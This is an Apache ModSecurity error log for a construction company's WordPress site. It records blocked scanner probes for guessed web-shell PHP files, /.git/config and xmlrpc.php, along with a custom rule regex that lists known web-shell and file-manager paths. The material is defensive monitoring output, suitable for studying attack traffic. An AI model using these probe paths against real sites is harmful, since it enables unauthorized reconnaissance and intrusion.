[Thu Apr 16 03:39:27.650149 2026] [:error] [pid 53371:tid 53457] [client 20.91.140.49:49846] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8573.php"] [unique_id "ad_pb_QHlhdn5M13lAL-OgAAAAE"]
[Thu Apr 16 03:39:28.344127 2026] [:error] [pid 53371:tid 53477] [client 20.91.140.49:25917] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8573.php"] [unique_id "ad_pcPQHlhdn5M13lAL-OwAAABQ"]
[Thu Apr 16 03:39:29.113817 2026] [:error] [pid 54651:tid 54732] [client 20.91.140.49:62373] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws66.php"] [unique_id "ad_pcWr-aGmBfIUdvtU49AAAAZA"]
[Thu Apr 16 03:39:29.709760 2026] [:error] [pid 54601:tid 54626] [client 20.91.140.49:27720] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws66.php"] [unique_id "ad_pcXokGsMySRrOWHLTfAAAARc"]
[Thu Apr 16 03:39:30.322528 2026] [:error] [pid 54651:tid 54737] [client 20.91.140.49:33907] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws66.php"] [unique_id "ad_pcmr-aGmBfIUdvtU4-gAAAZU"]
[Thu Apr 16 03:39:30.907137 2026] [:error] [pid 54649:tid 54705] [client 20.91.140.49:41169] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws66.php"] [unique_id "ad_pcobAwKa2q4r1RocvNQAAAVA"]
[Thu Apr 16 03:39:31.541246 2026] [:error] [pid 54651:tid 54733] [client 20.91.140.49:41182] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/66.php"] [unique_id "ad_pc2r-aGmBfIUdvtU4_QAAAZE"]
[Thu Apr 16 03:39:32.408966 2026] [:error] [pid 53379:tid 53550] [client 20.91.140.49:37157] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/66.php"] [unique_id "ad_pdAcGfTk8pWJEtyBJ2gAAAIE"]
[Thu Apr 16 03:39:33.118385 2026] [:error] [pid 53379:tid 53553] [client 20.91.140.49:29140] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/66.php"] [unique_id "ad_pdQcGfTk8pWJEtyBJ2wAAAIQ"]
[Thu Apr 16 03:39:33.727775 2026] [:error] [pid 54651:tid 54726] [client 20.91.140.49:60934] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/66.php"] [unique_id "ad_pdWr-aGmBfIUdvtU5BAAAAYo"]
[Thu Apr 16 03:39:34.804327 2026] [:error] [pid 54651:tid 54721] [client 20.91.140.49:60952] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "ad_pdmr-aGmBfIUdvtU5BgAAAYU"]
[Thu Apr 16 03:39:35.516683 2026] [:error] [pid 53372:tid 53540] [client 20.91.140.49:51785] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "ad_pd7PhhzWT6ZgixWAkswAAAFM"]
[Thu Apr 16 03:39:36.183448 2026] [:error] [pid 54651:tid 54729] [client 20.91.140.49:39146] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "ad_peGr-aGmBfIUdvtU5CQAAAY0"]
[Thu Apr 16 03:39:36.825001 2026] [:error] [pid 54601:tid 54603] [client 20.91.140.49:51839] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "ad_peHokGsMySRrOWHLThQAAAQA"]
[Thu Apr 16 03:39:37.495088 2026] [:error] [pid 53372:tid 53544] [client 20.91.140.49:42854] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws88.php"] [unique_id "ad_pebPhhzWT6ZgixWAktQAAAFc"]
[Thu Apr 16 03:39:38.062918 2026] [:error] [pid 54649:tid 54698] [client 20.91.140.49:6193] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws88.php"] [unique_id "ad_peobAwKa2q4r1RocvQAAAAUk"]
[Thu Apr 16 03:39:38.624598 2026] [:error] [pid 54651:tid 54734] [client 20.91.140.49:42857] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws88.php"] [unique_id "ad_pemr-aGmBfIUdvtU5CgAAAZI"]
[Thu Apr 16 03:39:39.149724 2026] [:error] [pid 54651:tid 54739] [client 20.91.140.49:36701] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws88.php"] [unique_id "ad_pe2r-aGmBfIUdvtU5CwAAAZc"]
[Thu Apr 16 03:39:39.730177 2026] [:error] [pid 54651:tid 54737] [client 20.91.140.49:57743] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mode.php"] [unique_id "ad_pe2r-aGmBfIUdvtU5DQAAAZU"]
[Thu Apr 16 03:39:41.430007 2026] [:error] [pid 54601:tid 54606] [client 20.91.140.49:42852] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mode.php"] [unique_id "ad_pfXokGsMySRrOWHLTjwAAAQM"]
[Thu Apr 16 03:39:43.945583 2026] [:error] [pid 54651:tid 54722] [client 20.91.140.49:62186] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mode.php"] [unique_id "ad_pf2r-aGmBfIUdvtU5GQAAAYY"]
[Thu Apr 16 03:39:44.634445 2026] [:error] [pid 54601:tid 54608] [client 20.91.140.49:6766] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mode.php"] [unique_id "ad_pgHokGsMySRrOWHLTlQAAAQU"]
[Thu Apr 16 03:39:45.511022 2026] [:error] [pid 54651:tid 54739] [client 20.91.140.49:58221] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/set.php"] [unique_id "ad_pgWr-aGmBfIUdvtU5GgAAAZc"]
[Thu Apr 16 03:39:46.973980 2026] [:error] [pid 54649:tid 54694] [client 20.91.140.49:26590] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/set.php"] [unique_id "ad_pgobAwKa2q4r1RocvTwAAAUU"]
[Thu Apr 16 03:39:48.613920 2026] [:error] [pid 53372:tid 53528] [client 20.91.140.49:62198] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/set.php"] [unique_id "ad_phLPhhzWT6ZgixWAkuQAAAEc"]
[Thu Apr 16 03:39:49.238851 2026] [:error] [pid 54601:tid 54609] [client 20.91.140.49:61430] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/set.php"] [unique_id "ad_phXokGsMySRrOWHLTmAAAAQY"]
[Thu Apr 16 03:39:50.072896 2026] [:error] [pid 54601:tid 54620] [client 20.91.140.49:36625] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hroxw.php"] [unique_id "ad_phnokGsMySRrOWHLTmgAAARE"]
[Thu Apr 16 03:39:50.914500 2026] [:error] [pid 53371:tid 53473] [client 20.91.140.49:38423] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hroxw.php"] [unique_id "ad_phvQHlhdn5M13lAL-QgAAABA"]
[Thu Apr 16 03:39:52.072867 2026] [:error] [pid 53371:tid 53459] [client 20.91.140.49:23759] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hroxw.php"] [unique_id "ad_piPQHlhdn5M13lAL-RQAAAAM"]
[Thu Apr 16 03:40:02.019991 2026] [:error] [pid 53371:tid 53472] [client 20.91.140.49:54825] [client 20.91.140.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/fm.php"] [unique_id "ad_pkvQHlhdn5M13lAL-UAAAAA8"]
[Thu Apr 16 03:40:12.456095 2026] [:error] [pid 54649:tid 54698] [client 80.239.207.207:40942] [client 80.239.207.207] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 80.239.207.207, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_pnIbAwKa2q4r1RocvcwAAAUk"]
[Thu Apr 16 03:41:38.711814 2026] [:error] [pid 27094:tid 27103] [client 94.23.210.48:34298] [client 94.23.210.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.23.210.48, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_p8kp8xZTAwXToMIHDTAAAAMc"]
[Thu Apr 16 03:42:01.434861 2026] [:error] [pid 26995:tid 27022] [client 103.57.222.160:41952] [client 103.57.222.160] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.57.222.160, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_qCceP52KZHrOuWZwAIgAAABA"]
[Thu Apr 16 03:44:40.518041 2026] [:error] [pid 30105:tid 30125] [client 52.162.9.246:40734] [client 52.162.9.246] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "ad_qqCCOsuUlYKKf4Dfe4wAAARI"], referer: https://chat.openai.com/
[Thu Apr 16 03:49:17.947514 2026] [:error] [pid 57639:tid 57648] [client 87.98.165.243:56228] [client 87.98.165.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 87.98.165.243, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_rvaMCQoTw7TsxWumElAAAAMI"]
[Thu Apr 16 03:51:17.740886 2026] [:error] [pid 57536:tid 57548] [client 216.73.216.215:59223] [client 216.73.216.215] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:user-agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||www.rcacivilgroup.com|F|5"] [data "REQUEST_HEADERS:user-agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/robots.txt"] [unique_id "ad_sNSQU4faGja6jpDtejQAAAAA"]
[Thu Apr 16 03:52:24.780864 2026] [:error] [pid 57538:tid 57617] [client 134.122.21.213:48572] [client 134.122.21.213] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 134.122.21.213, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_seMuMaiEF5SVR2BftfgAAAI8"]
[Thu Apr 16 03:57:02.052782 2026] [:error] [pid 57537:tid 57589] [client 185.199.223.27:33496] [client 185.199.223.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.27, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_tjlVQRS8nm73ENAkHeQAAAE4"]
[Thu Apr 16 04:00:14.699556 2026] [:error] [pid 57639:tid 57653] [client 51.210.113.223:52554] [client 51.210.113.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.210.113.223, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_uTqMCQoTw7TsxWumJFQAAAMc"]
[Thu Apr 16 04:00:24.707960 2026] [:error] [pid 57538:tid 57623] [client 147.93.7.21:45974] [client 147.93.7.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.93.7.21, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_uWMuMaiEF5SVR2BfwuwAAAJU"]
[Thu Apr 16 04:04:00.196770 2026] [:error] [pid 57639:tid 57659] [client 134.122.21.213:39960] [client 134.122.21.213] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 134.122.21.213, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_vMKMCQoTw7TsxWumM8gAAAM0"]
[Thu Apr 16 04:06:29.769494 2026] [:error] [pid 57538:tid 57617] [client 121.200.216.6:41708] [client 121.200.216.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 121.200.216.6, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_vxcuMaiEF5SVR2Bf0GQAAAI8"]
[Thu Apr 16 04:06:32.430028 2026] [:error] [pid 57538:tid 57606] [client 83.166.155.159:45884] [client 83.166.155.159] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.166.155.159, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_vyMuMaiEF5SVR2Bf0IQAAAIQ"]
[Thu Apr 16 04:07:51.547247 2026] [:error] [pid 57537:tid 57588] [client 54.37.239.214:56612] [client 54.37.239.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.37.239.214, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_wF1VQRS8nm73ENAkMVQAAAE0"]
[Thu Apr 16 04:15:16.825735 2026] [:error] [pid 57538:tid 57606] [client 54.37.239.214:47546] [client 54.37.239.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.37.239.214, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_x1MuMaiEF5SVR2Bf5_QAAAIQ"]
[Thu Apr 16 04:16:54.464525 2026] [:error] [pid 29603:tid 29606] [client 147.93.131.179:55752] [client 147.93.131.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.93.131.179, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_yNlfGOR6fpTWUAzpvmAAAAQE"]
[Thu Apr 16 04:17:39.855374 2026] [:error] [pid 57537:tid 57581] [client 180.93.52.173:37582] [client 180.93.52.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.93.52.173, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_yY1VQRS8nm73ENAkQagAAAEY"]
[Thu Apr 16 04:18:15.689399 2026] [:error] [pid 29603:tid 29624] [client 20.212.251.69:36800] [client 20.212.251.69] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.212.251.69, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_yh1fGOR6fpTWUAzpwpAAAARM"]
[Thu Apr 16 04:19:29.376605 2026] [:error] [pid 57536:tid 57553] [client 144.91.86.124:47582] [client 144.91.86.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 144.91.86.124, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_y0SQU4faGja6jpDtmJwAAAAU"]
[Thu Apr 16 04:21:52.017006 2026] [:error] [pid 57538:tid 57607] [client 51.210.123.31:44998] [client 51.210.123.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.210.123.31, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_zYMuMaiEF5SVR2Bf9FAAAAIU"]
[Thu Apr 16 04:21:58.765467 2026] [:error] [pid 57639:tid 57665] [client 142.93.115.177:42392] [client 142.93.115.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 142.93.115.177, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_zZqMCQoTw7TsxWumZagAAANM"]
[Thu Apr 16 04:34:45.789531 2026] [:error] [pid 57536:tid 57571] [client 51.83.154.40:57798] [client 51.83.154.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.83.154.40, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_2ZSQU4faGja6jpDtp1gAAABc"]
[Thu Apr 16 04:36:24.667021 2026] [:error] [pid 57538:tid 57610] [client 52.161.51.53:47181] [client 52.161.51.53] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "ad_2yMuMaiEF5SVR2BcEOwAAAIg"]
[Thu Apr 16 04:39:10.488009 2026] [:error] [pid 57639:tid 57661] [client 35.201.138.245:48854] [client 35.201.138.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.201.138.245, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_3bqMCQoTw7TsxWumg9AAAAM8"]
[Thu Apr 16 04:39:24.149735 2026] [:error] [pid 57538:tid 57620] [client 84.201.130.79:48664] [client 84.201.130.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 84.201.130.79, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad_3fMuMaiEF5SVR2BcGsAAAAJI"]
